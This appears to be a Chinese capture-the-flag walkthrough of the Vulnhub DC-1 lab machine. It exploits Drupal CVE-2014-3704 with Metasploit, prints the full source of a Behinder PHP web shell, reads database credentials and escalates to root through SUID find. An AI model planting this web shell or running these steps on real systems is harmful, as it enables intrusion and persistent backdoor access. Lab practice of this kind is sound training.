文章

Vulnhub靶场笔记-DC-1

DC-1靶机

一、环境配置

更改网络适配器为NAT模式

image-20231108145209930

二、主机探测

在物理机中查看VMnet8网卡

image-20231108145349160

使用fscan探测DC-1靶机ip地址为:192.168.157.133

image-20231108150847086

image-20231108163711086

三、漏洞利用

同时扫描出目标可能存在drupal-cve-2014-3704-sqli,使用msf查看是否有利用模块

1
msf6 > search cve-2014-3704

image-20231108150945122

使用改模块

1
msf6 > use 0

image-20231108151043051

查看漏洞利用信息

1
msf6 exploit(multi/http/drupal_drupageddon) > show options

image-20231108151202050

设置目标RHOSTS为192.168.157.133

1
set RHOST 192.168.157.133

image-20231108151335868

漏洞利用成功

1
msf6 exploit(multi/http/drupal_drupageddon) > run

image-20231108151528150

四、获取flag

flag1

在当前目录下发现flag1

image-20231108152143889

当前shell不太友好使用python获得一个可交互的输入终端

1
python -c 'import pty; pty.spawn("/bin/bash")'

或者写入冰蝎马连接操作

/vat/www/目录下写个冰蝎马方便后续操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

flag2

根据flag1的内容可知需要我们去寻找配置文件

/var/www/sites/default/目录下的settings.php文件中找到了flag2以及数据库的用户名(dbuser)和密码(R0ck3t)等相关信息。

image-20231108152653779

flag3

根据MySQL的用户名密码登录MySQL

image-20231108152928110

drupaldb数据库中的users表中找到密码

image-20231108153214575

通过cmd5查看密文:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR的明文为:53cr3t

image-20231108153354274

登录网站:

image-20231108153638661

image-20231108153719536

image-20231108153747419

flag4

根据flag3的内容可联想到/etc/shadow但是没有权限读取,读取/etc/passwd可看到flag4

1
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
1
cat etc/passwd

image-20231108153855270

image-20231108154310768

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

flag5

根据flag4内容可知下一步需要提权。

以下任意一条命令都可以找到正在系统上运行的所有SUID可执行文件。

1
2
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

可以看到find命令是以root权限执行的,它的参数如下:

1
2
3
4
5
find(选项)(参数)
-exec<执行指令>:假设find指令的回传值为True,就执行该指令
-perm<权限数值>:查找符合指定的权限数值的文件或目录

如果加了 -exec 参数,就会以root权限把find的字符串当作命令去执行。
1
find sites -exec /bin/sh \;

image-20231108163559167

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
本文由作者按照 CC BY 4.0 进行授权